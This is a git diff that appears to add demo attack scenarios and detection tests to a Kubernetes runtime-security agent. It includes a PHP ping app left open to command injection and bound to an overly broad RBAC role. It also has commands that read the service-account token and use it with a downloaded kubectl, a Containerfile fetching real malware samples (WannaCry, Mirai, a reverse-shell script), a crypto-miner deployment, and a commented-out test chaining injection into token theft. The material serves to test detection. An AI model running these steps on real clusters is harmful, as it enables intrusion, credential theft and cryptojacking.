When not set, defaults to "local" unless running in GKE, otherwies auto-sets to gcp + # - name: ENV_PLATFORM + # value: "aws" + - name: ENABLE_PROFILER + value: "0" + # - name: CYMBAL_BRANDING + # value: "true" + # - name: FRONTEND_MESSAGE + # value: "Replace this with a message you want to display on all pages." + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: frontend +spec: + type: ClusterIP + selector: + app: frontend + ports: + - name: http + port: 80 + targetPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: + name: frontend-external +spec: + type: LoadBalancer + selector: + app: frontend + ports: + - name: http + port: 80 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: paymentservice +spec: + selector: + matchLabels: + app: paymentservice + template: + metadata: + labels: + app: paymentservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/paymentservice:v0.8.1 + ports: + - containerPort: 50051 + env: + - name: PORT + value: "50051" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 50051 + livenessProbe: + grpc: + port: 50051 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: paymentservice +spec: + type: ClusterIP + selector: + app: paymentservice + ports: + - name: grpc + port: 50051 + targetPort: 50051 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: productcatalogservice +spec: + selector: + matchLabels: + app: productcatalogservice + template: + metadata: + labels: + app: productcatalogservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/productcatalogservice:v0.8.1 + ports: + - containerPort: 3550 + env: + - name: PORT + value: "3550" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 3550 + livenessProbe: + grpc: + port: 3550 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: productcatalogservice +spec: + type: ClusterIP + selector: + app: productcatalogservice + ports: + - name: grpc + port: 3550 + targetPort: 3550 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: cartservice +spec: + selector: + matchLabels: + app: cartservice + template: + metadata: + labels: + app: cartservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/cartservice:v0.8.1 + ports: + - containerPort: 7070 + env: + - name: REDIS_ADDR + value: "redis-cart:6379" + resources: + requests: + cpu: 200m + memory: 64Mi + limits: + cpu: 300m + memory: 128Mi + readinessProbe: + initialDelaySeconds: 15 + grpc: + port: 7070 + livenessProbe: + initialDelaySeconds: 15 + periodSeconds: 10 + grpc: + port: 7070 +--- +apiVersion: v1 +kind: Service +metadata: + name: cartservice +spec: + type: ClusterIP + selector: + app: cartservice + ports: + - name: grpc + port: 7070 + targetPort: 7070 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: loadgenerator +spec: + selector: + matchLabels: + app: loadgenerator + replicas: 1 + template: + metadata: + labels: + app: loadgenerator + annotations: + sidecar.istio.io/rewriteAppHTTPProbers: "true" + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + restartPolicy: Always + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + initContainers: + - command: + - /bin/sh + - -exc + - | + echo "Init container pinging frontend: ${FRONTEND_ADDR}..." + STATUSCODE=$(wget --server-response http://${FRONTEND_ADDR} 2>&1 | awk '/^ HTTP/{print $2}') + if test $STATUSCODE -ne 200; then + echo "Error: Could not reach frontend - Status code: ${STATUSCODE}" + exit 1 + fi + name: frontend-check + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: busybox:latest + env: + - name: FRONTEND_ADDR + value: "frontend:80" + containers: + - name: main + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/loadgenerator:v0.8.1 + env: + - name: FRONTEND_ADDR + value: "frontend:80" + - name: USERS + value: "10" + resources: + requests: + cpu: 300m + memory: 256Mi + limits: + cpu: 500m + memory: 512Mi +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: currencyservice +spec: + selector: + matchLabels: + app: currencyservice + template: + metadata: + labels: + app: currencyservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/currencyservice:v0.8.1 + ports: + - name: grpc + containerPort: 7000 + env: + - name: PORT + value: "7000" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 7000 + livenessProbe: + grpc: + port: 7000 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: currencyservice +spec: + type: ClusterIP + selector: + app: currencyservice + ports: + - name: grpc + port: 7000 + targetPort: 7000 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: shippingservice +spec: + selector: + matchLabels: + app: shippingservice + template: + metadata: + labels: + app: shippingservice + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: quay.io/armosec/demo-shippingservice:v0.2.3 + ports: + - containerPort: 50051 + env: + - name: PORT + value: "50051" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + periodSeconds: 5 + grpc: + port: 50051 + livenessProbe: + grpc: + port: 50051 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: shippingservice +spec: + type: ClusterIP + selector: + app: shippingservice + ports: + - name: grpc + port: 50051 + targetPort: 50051 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: redis-cart +spec: + selector: + matchLabels: + app: redis-cart + template: + metadata: + labels: + app: redis-cart + spec: + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: redis + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: redis:alpine + ports: + - containerPort: 6379 + readinessProbe: + periodSeconds: 5 + tcpSocket: + port: 6379 + livenessProbe: + periodSeconds: 5 + tcpSocket: + port: 6379 + volumeMounts: + - mountPath: /data + name: redis-data + resources: + limits: + memory: 256Mi + cpu: 125m + requests: + cpu: 70m + memory: 200Mi + volumes: + - name: redis-data + emptyDir: {} +--- +apiVersion: v1 +kind: Service +metadata: + name: redis-cart +spec: + type: ClusterIP + selector: + app: redis-cart + ports: + - name: tcp-redis + port: 6379 + targetPort: 6379 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: adservice +spec: + selector: + matchLabels: + app: adservice + template: + metadata: + labels: + app: adservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/adservice:v0.8.1 + ports: + - containerPort: 9555 + env: + - name: PORT + value: "9555" + resources: + requests: + cpu: 200m + memory: 180Mi + limits: + cpu: 300m + memory: 300Mi + readinessProbe: + initialDelaySeconds: 20 + periodSeconds: 15 + grpc: + port: 9555 + livenessProbe: + initialDelaySeconds: 20 + periodSeconds: 15 + grpc: + port: 9555 +--- +apiVersion: v1 +kind: Service +metadata: + name: adservice +spec: + type: ClusterIP + selector: + app: adservice + ports: + - name: grpc + port: 9555 + targetPort: 9555 +# [END gke_release_kubernetes_manifests_microservices_demo] diff --git a/demo/general_attack/commands.md b/demo/general_attack/commands.md new file mode 100644 index 0000000000..b9b9f1acac --- /dev/null +++ b/demo/general_attack/commands.md @@ -0,0 +1,13 @@ +# Service Account Token +cat /run/secrets/kubernetes.io/serviceaccount/token + +# K8s client - From inside a pod +``` +arch=$(uname -m | sed 's/x86_64/amd64/g' | sed 's/aarch64/arm64/g') +curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/$arch/kubectl" +ls -l kubectl +mv kubectl /var/tmp/kubectl +chmod +x /var/tmp/kubectl +cat /var/run/secrets/kubernetes.io/serviceaccount/token > /var/tmp/token +/var/tmp/kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token $(cat /var/tmp/token) get pods +``` diff --git a/demo/general_attack/webapp/Containerfile b/demo/general_attack/webapp/Containerfile new file mode 100644 index 0000000000..af0aab2c85 --- /dev/null +++ b/demo/general_attack/webapp/Containerfile @@ -0,0 +1,17 @@ +# Use the official PHP image +FROM php:7.4-apache + +# Install ping +RUN apt-get update && \ + apt-get install -y iputils-ping wget curl && \ + rm -rf /var/lib/apt/lists/* + +# Copy the PHP script and index.html files into the container +COPY ping.php /var/www/html/ +COPY index.html /var/www/html/ + +# Expose port 80 for Apache +EXPOSE 80 + +# Start Apache in the foreground +CMD ["apache2-foreground"] diff --git a/demo/general_attack/webapp/index.html b/demo/general_attack/webapp/index.html new file mode 100644 index 0000000000..ac18e39588 --- /dev/null +++ b/demo/general_attack/webapp/index.html @@ -0,0 +1,81 @@ + + + + + + + IP Ping Tool + + + +
+

Ping Tool

+ + + +
+ + diff --git a/demo/general_attack/webapp/ping-app.yaml b/demo/general_attack/webapp/ping-app.yaml new file mode 100644 index 0000000000..2a14fc418a --- /dev/null +++ b/demo/general_attack/webapp/ping-app.yaml @@ -0,0 +1,52 @@ +apiVersion: v1 +kind: Pod +metadata: + name: ping-app + labels: + app: ping-app +spec: + + containers: + - name: ping-app + image: docker.io/amitschendel/ping-app:latest + imagePullPolicy: Always + ports: + - containerPort: 80 +--- +apiVersion: v1 +kind: Service +metadata: + name: ping-app + labels: + app: ping-app +spec: + selector: + app: ping-app + ports: + - protocol: TCP + port: 80 + targetPort: 80 +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + namespace: default + name: ping-app-role +rules: +- apiGroups: [""] + resources: ["*"] + verbs: ["get", "list", "watch", "create", "update", "delete"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + namespace: default + name: ping-app-role-binding +subjects: +- kind: ServiceAccount + name: "default" + namespace: default +roleRef: + kind: Role + name: ping-app-role + apiGroup: rbac.authorization.k8s.io diff --git a/demo/general_attack/webapp/ping.php b/demo/general_attack/webapp/ping.php new file mode 100644 index 0000000000..66fb7d922e --- /dev/null +++ b/demo/general_attack/webapp/ping.php @@ -0,0 +1,26 @@ +"; +echo "Ping results for $ip:
"; + +// Iterate through each line of the output +foreach ($output as $line) { + // Highlight successful pings in green + if (strpos($line, "icmp_seq") !== false && strpos($line, "time=") !== false) { + echo "" . htmlspecialchars($line) . "
"; + } else { + echo htmlspecialchars($line) . "
"; + } +} + +echo ""; + +// Display the return status +echo "Return status: $return_var"; +?> \ No newline at end of file diff --git a/demo/general_attack/webapp/setup.sh b/demo/general_attack/webapp/setup.sh new file mode 100755 index 0000000000..d5e9b7a398 --- /dev/null +++ b/demo/general_attack/webapp/setup.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +# Kill any existing port forwards +echo "[+] Killing any existing port forwards" +killall kubectl 2>/dev/null + +# Apply the YAML file for the web app +echo "[+] Applying YAML file for the web app" +kubectl apply -f demo/general_attack/webapp/ping-app.yaml + +# Wait for the web app to be ready +echo "[+] Waiting for the web app to be ready" +kubectl wait --for=condition=ready pod -l app=ping-app + +# Port forward from port 80 to port localhost:8080 +echo "[+] Port forwarding from port 80 to localhost:8080" +kubectl port-forward pod/ping-app 8080:80 2>&1 >/dev/null & + +# Wait for the port forward to be ready +echo "[+] Waiting for the port forward to be ready" +sleep 1 +echo "[+] The web app is ready" diff --git a/demo/malwares_image/Containerfile b/demo/malwares_image/Containerfile new file mode 100644 index 0000000000..a720971d87 --- /dev/null +++ b/demo/malwares_image/Containerfile @@ -0,0 +1,114 @@ +# Credit - https://github.com/ruzickap/malware-cryptominer-container +FROM python:3.12.0-alpine3.17 as build + +ENV XMRIG_VERSION="6.20.0" + +# xmrig +RUN set -eux && \ + # ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped + mkdir -p /mnt/xmrig && \ + wget -q "https://github.com/xmrig/xmrig/releases/download/v${XMRIG_VERSION}/xmrig-${XMRIG_VERSION}-linux-static-x64.tar.gz" -O /mnt/xmrig/xmrig-linux-static-x64.tar.gz && \ + tar xvzf /mnt/xmrig/xmrig-linux-static-x64.tar.gz -C /mnt/xmrig/ --strip-components=1 "xmrig-${XMRIG_VERSION}/xmrig" + +# Compile own version of xmrig cryptominer +RUN set -eux && \ + if [ "$(uname -m)" = "x86_64" ]; then \ + apk add --no-cache git make cmake libstdc++ gcc g++ libuv-dev openssl-dev hwloc-dev && \ + git clone --branch "v${XMRIG_VERSION}" https://github.com/xmrig/xmrig && \ + sed -i \ + -e 's/APP_ID.*/APP_ID "myxmrig"/' \ + -e 's/APP_NAME.*/APP_NAME "My XMRig"/' \ + -e 's/APP_DESC.*/APP_DESC "My XMRig miner"/' \ + -e 's/APP_VERSION.*"\(.*\)"/APP_VERSION "\1-my"/' \ + xmrig/src/version.h && \ + cmake -S xmrig -B xmrig/build && make -C xmrig/build -j"$(nproc)" && \ + ./xmrig/build/xmrig --version && \ + mv ./xmrig/build/xmrig /mnt/xmrig/my-xmrig ; \ + fi + +# eicar +RUN set -eux && \ + # EICAR virus test files + mkdir -p /mnt/eicar && \ + wget -q -P /mnt/eicar https://secure.eicar.org/eicar.com https://secure.eicar.org/eicar.com.txt https://secure.eicar.org/eicarcom2.zip + +# windows/macos malware + ransomware for different architectures +RUN set -eux && \ + # C source, ASCII text + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Email-Worm/ILOVEYOU.vbs" -O /mnt/ILOVEYOU.vbs && \ + # ASCII text, with very long lines (361) + wget -q "https://github.com/antonioCoco/ConPtyShell/raw/f5c00d4d37b656092d20447b127eb0774efca96a/Invoke-ConPtyShell.ps1" -O /mnt/Invoke-ConPtyShell.ps1 && \ + # DOS batch file, ASCII text + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Trojan/L0Lz.bat" -O /mnt/L0Lz.bat && \ + # MS-DOS executable + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Virus/MadMan.exe" -O /mnt/MadMan.exe && \ + # Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.10, Code page: 1252, Title: Password List for March 26th 1999, Subject: Adult Website Passwords, Author: John Holmes, Keywords: 73 sites in this list, Comments: Password List for March 26th 1999, Template: Normal.dot, Last Saved By: Him, Revision Number: 2, Name of Creating Application: Microsoft Word 8.0, Create Time/Date: Fri Mar 26 11:39:00 1999, Last Saved Time/Date: Fri Mar 26 11:39:00 1999, Number of Pages: 2, Number of Words: 745, Number of Characters: 4249, Security: 0 + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Virus/Melissa.doc" -O /mnt/Melissa.doc && \ + # Mach-O 64-bit x86_64 executable, flags: + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Trojan/XCSSETMacMalware/TrojanSpy.MacOS.XCSSET.A.6614978ab256f922d7b6dbd7cc15c6136819f4bcfb5a0fead480561f0df54ca6" -O /mnt/TrojanSpy.MacOS.XCSSET.A && \ + # DOS executable (COM) + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Virus/Walker.com" -O /mnt/Walker.com && \ + # PE32 executable (GUI) Intel 80386, for MS Windows + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Ransomware/WannaCry.exe" -O /mnt/WannaCry.exe && \ + # Microsoft Excel 2007+ + wget -q "https://github.com/Da2dalus/The-MALWARE-Repo/raw/e8ddc517b4ecd80728e0acef1c558fad9a1c888a/Banking-Malware/Zloader.xlsm" -O /mnt/Zloader.xlsm + +# linux malware + ransomware for different architectures +RUN set -eux && \ + # ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, with debug_info, not stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Linux.Trojan.Multiverze/0a5a7008fa1a17c8ee32ea4e2f7e25d7302f9dfc4201c16d793a1d03f95b9fa5.elf.x86" -O /mnt/Linux.Trojan.Multiverze.elf.x86 && \ + # ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Mirai/40e8d9d82800728a5f1cfc2c2e156d5ee72fb44c54c26a86cfd35e95ea737e37.elf.x86_64" -O /mnt/Unix.Trojan.Mirai.elf.x86_64 && \ + # ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, Go BuildID=9fdmXJhReUX31Gj9ZEYg/ufudXOOpAambiyMItr13/otwZTTTdWsnO_OuvAAn-/qn6mMLxbKwGft_Ecoum6, stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Malware.Kaiji/3e68118ad46b9eb64063b259fca5f6682c5c2cb18fd9a4e7d97969226b2e6fb4.elf.arm" -O /mnt/Unix.Malware.Kaiji.elf.arm && \ + # ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, with debug_info, not stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Spike/04d88a0f5ffa8da57cfd9b1ae6e4fd9758610a3de72688516b258b5564735476.elf.arm" -O /mnt/Unix.Trojan.Spike.elf.arm && \ + # ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Mirai/faa0deaba42ba76192609c5d2f59664e871c7bc68ebb5d99c91bf8ea4ddb8ea5.elf.mips" -O /mnt/Unix.Trojan.Mirai.elf.mips && \ + # ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Mirai/11242cdb5dac9309a2f330bd0dad96efba9ccc9b9d46f2361e8bf8e4cde543c1.elf.m68k" -O /mnt/Unix.Trojan.Mirai.elf.m68k && \ + # ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Mirai/d5230c95c4af4e1fcddf9660070932b7876a9569dc3a2baedf762abbe37b1ad5.elf.ppc" -O /mnt/Unix.Trojan.Mirai.elf.ppc && \ + # ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, not stripped + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Trojan.Mirai/190333b93af51f9a3e3dc4186e4f1bdb4f92c05d3ce047fbe5c3670d1b5a87b4.elf.sparc" -O /mnt/Unix.Trojan.Mirai.elf.sparc && \ + # POSIX shell script, ASCII text executable + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Unix.Downloader.Rocke/228ec858509a928b21e88d582cb5cfaabc03f72d30f2179ef6fb232b6abdce97.sh" -O /mnt/Unix.Downloader.Rocke.sh && \ + # Bourne-Again shell script, ASCII text executable + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Txt.Malware.Sustes/0e77291955664d2c25d5bfe617cec12a388e5389f82dee5ae4fd5c5d1f1bdefe.sh" -O /mnt/Txt.Malware.Sustes.sh && \ + # Perl script text executable + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Win.Trojan.Perl/9aed7ab8806a90aa9fac070fbf788466c6da3d87deba92a25ac4dd1d63ce4c44.perl" -O /mnt/Win.Trojan.Perl.perl && \ + # Python script, ASCII text executable, with very long lines (4330), with CRLF line terminators + wget -q "https://github.com/timb-machine/linux-malware/raw/ca4750299f0090242a3d31da1f8d8764cdb97269/malware/binaries/Py.Trojan.NecroBot/0e600095a3c955310d27c08f98a012720caff698fe24303d7e0dcb4c5e766322.py" -O /mnt/Py.Trojan.NecroBot.py && \ + # Java archive data (JAR) + wget -q "https://github.com/HonbraDev/fractureiser-samples/raw/221bcc4bf45d5896f8908b21d5a8f3e7fcbc2875/stage-0-infected-DisplayEntityEditor-1.0.4.jar" -O /mnt/Trojan.Java.Fractureiser.MTB.jar + +COPY img /mnt/img +COPY README.md /mnt/ + +RUN set -eux && \ + # Bug with versions: https://github.com/joeyespo/grip/issues/377 + # renovate: datasource=pypi depName=grip + GRIP_VERSION="4.6.1" && \ + pip install --no-cache-dir grip=="${GRIP_VERSION}" flask==2.3.3 werkzeug==2.3.7 && \ + grip /mnt/README.md --export /mnt/index.html + +################################################################################ + +FROM nginxinc/nginx-unprivileged:1.25.3-alpine-slim + +COPY --from=build /mnt/ /usr/share/nginx/html/ + +RUN printf '%s\n' > /etc/nginx/conf.d/health.conf \ + 'server {' \ + ' listen 8081;' \ + ' location / {' \ + ' access_log off;' \ + ' add_header Content-Type text/plain;' \ + ' return 200 "healthy\n";' \ + ' }' \ + '}' + +USER nginx + +# Healthcheck to make sure container is ready +HEALTHCHECK --interval=5m --timeout=3s CMD curl --fail http://localhost:8081 || exit 1 \ No newline at end of file diff --git a/demo/miner/Containerfile b/demo/miner/Containerfile new file mode 100644 index 0000000000..1f4fb5dae8 --- /dev/null +++ b/demo/miner/Containerfile @@ -0,0 +1,8 @@ +FROM ubuntu:18.04 + +WORKDIR /usr/app/src + +COPY config.json ./ +COPY xmrig ./ + +CMD [ "./xmrig", "--config=config.json"] \ No newline at end of file diff --git a/demo/miner/miner-pod.yaml b/demo/miner/miner-pod.yaml new file mode 100644 index 0000000000..e13f0367cf --- /dev/null +++ b/demo/miner/miner-pod.yaml @@ -0,0 +1,25 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: k8s-miner-deployment + namespace: kubescape +spec: + replicas: 1 + selector: + matchLabels: + app: k8s-miner + template: + metadata: + labels: + app: k8s-miner + annotations: + karpenter.sh/do-not-disrupt: "true" + spec: + containers: + - name: k8s-miner + image: docker.io/amitschendel/crypto-miner-1 + imagePullPolicy: IfNotPresent + resources: + requests: + memory: "3Gi" + cpu: "3" \ No newline at end of file diff --git a/tests/component_test.go b/tests/component_test.go index 5d33c5fda9..a3df004bba 100644 --- a/tests/component_test.go +++ b/tests/component_test.go @@ -556,3 +556,159 @@ func Test_09_FalsePositiveTest(t *testing.T) { assert.Equal(t, 0, len(alerts), "Expected no alerts to be generated, but got %d alerts", len(alerts)) } + +// func Test_10_DemoTest(t *testing.T) { +// start := time.Now() +// defer tearDownTest(t, start) + +// //testutils.IncreaseNodeAgentSniffingTime("2m") +// wl, err := testutils.NewTestWorkload("default", path.Join(utils.CurrentDir(), "resources/ping-app-role.yaml")) +// if err != nil { +// t.Errorf("Error creating role: %v", err) +// } + +// wl, err = testutils.NewTestWorkload("default", path.Join(utils.CurrentDir(), "resources/ping-app-role-binding.yaml")) +// if err != nil { +// t.Errorf("Error creating role binding: %v", err) +// } + +// wl, err = testutils.NewTestWorkload("default", path.Join(utils.CurrentDir(), "resources/ping-app-service.yaml")) +// if err != nil { +// t.Errorf("Error creating service: %v", err) +// } + +// wl, err = testutils.NewTestWorkload("default", path.Join(utils.CurrentDir(), "resources/ping-app.yaml")) +// if err != nil { +// t.Errorf("Error creating workload: %v", err) +// } +// assert.NoError(t, wl.WaitForReady(80)) +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4"}, "") +// err = wl.WaitForApplicationProfileCompletion(80) +// if err != nil { +// t.Errorf("Error waiting for application profile to be completed: %v", err) +// } +// // err = wl.WaitForNetworkNeighborhoodCompletion(80) +// // if err != nil { +// // t.Errorf("Error waiting for network neighborhood to be completed: %v", err) +// // } + +// // Do an ls command using command injection in the ping command +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;ls"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Do a cat command using command injection in the ping command +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;cat /run/secrets/kubernetes.io/serviceaccount/token"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Do a uname command using command injection in the ping command +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;uname -m | sed 's/x86_64/amd64/g' | sed 's/aarch64/arm64/g'"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Download kubectl +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;curl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\""}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Sleep for 10 seconds to wait for the kubectl download +// time.Sleep(10 * time.Second) + +// // Make kubectl executable +// _, _, err = wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;chmod +x kubectl"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Get the pods in the cluster +// output, _, err := wl.ExecIntoPod([]string{"sh", "-c", "ping 1.1.1.1 -c 4;./kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token $(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// // Check that the output contains the pod-ping-app pod +// assert.Contains(t, output, "ping-app", "Expected output to contain 'ping-app'") + +// // Get the alerts and check that the alerts are generated +// alerts, err := testutils.GetAlerts(wl.Namespace) +// if err != nil { +// t.Errorf("Error getting alerts: %v", err) +// } + +// // Validate that all alerts are signaled +// expectedAlerts := map[string]bool{ +// "Unexpected process launched": false, +// "Unexpected file access": false, +// "Kubernetes Client Executed": false, +// // "Exec from malicious source": false, +// "Exec Binary Not In Base Image": false, +// "Unexpected Service Account Token Access": false, +// // "Unexpected domain request": false, +// } + +// for _, alert := range alerts { +// ruleName, ruleOk := alert.Labels["rule_name"] +// if ruleOk { +// if _, exists := expectedAlerts[ruleName]; exists { +// expectedAlerts[ruleName] = true +// } +// } +// } + +// for ruleName, signaled := range expectedAlerts { +// if !signaled { +// t.Errorf("Expected alert '%s' was not signaled", ruleName) +// } +// } +// } + +// func Test_11_DuplicationTest(t *testing.T) { +// start := time.Now() +// defer tearDownTest(t, start) + +// ns := testutils.NewRandomNamespace() +// // wl, err := testutils.NewTestWorkload(ns.Name, path.Join(utils.CurrentDir(), "resources/deployment-multiple-containers.yaml")) +// wl, err := testutils.NewTestWorkload(ns.Name, path.Join(utils.CurrentDir(), "resources/ping-app.yaml")) +// if err != nil { +// t.Errorf("Error creating workload: %v", err) +// } +// assert.NoError(t, wl.WaitForReady(80)) + +// err = wl.WaitForApplicationProfileCompletion(80) +// if err != nil { +// t.Errorf("Error waiting for application profile to be completed: %v", err) +// } + +// // process launched from nginx container +// _, _, err = wl.ExecIntoPod([]string{"ls", "-a"}, "ping-app") +// if err != nil { +// t.Errorf("Error executing remote command: %v", err) +// } + +// time.Sleep(20 * time.Second) + +// alerts, err := testutils.GetAlerts(wl.Namespace) +// if err != nil { +// t.Errorf("Error getting alerts: %v", err) +// } + +// // Validate that unexpected process launched alert is signaled only once +// count := 0 +// for _, alert := range alerts { +// ruleName, ruleOk := 